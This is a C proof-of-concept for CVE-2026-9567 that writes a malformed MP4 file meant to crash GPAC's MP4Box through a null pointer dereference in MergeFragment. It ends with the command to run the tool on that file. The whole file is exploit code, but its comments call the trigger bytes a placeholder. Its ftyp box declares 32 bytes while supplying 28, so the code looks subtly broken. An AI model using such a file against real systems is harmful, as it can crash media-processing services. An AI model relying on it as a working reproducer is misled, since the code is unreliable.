/*
* PoC for CVE-2026-9567 - GPAC Null Pointer Dereference
* This script generates a malformed MP4 file to trigger the crash in MergeFragment.
* Note: Actual binary pattern may vary based on specific commit analysis.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
FILE *fp;
const char *filename = "poc_cve_2026_9567.mp4";
fp = fopen(filename, "wb");
if (fp == NULL) {
perror("Error creating file");
return 1;
}
// Minimal MP4 structure
unsigned char header[] = {
0x00, 0x00, 0x00, 0x20, 0x66, 0x74, 0x79, 0x70, // ftyp box size 32
0x69, 0x73, 0x6F, 0x6D, // isom
0x00, 0x00, 0x02, 0x00,
0x69, 0x73, 0x6F, 0x6D,
0x61, 0x76, 0x63, 0x31,
0x6D, 0x70, 0x34, 0x31
};
fwrite(header, 1, sizeof(header), fp);
// Malformed moof structure to trigger MergeFragment NPD
// This is a placeholder for the specific pattern causing the null pointer
unsigned char trigger_pattern[] = {
0x00, 0x00, 0x00, 0x08, 0x6D, 0x6F, 0x6F, 0x66, // moof
0x00, 0x00, 0x00, 0x08, 0x6D, 0x64, 0x61, 0x74 // mdat (malformed)
};
fwrite(trigger_pattern, 1, sizeof(trigger_pattern), fp);
fclose(fp);
printf("[+] PoC file generated: %s\n", filename);
printf("[+] Run: MP4Box -info %s\n", filename);
return 0;
}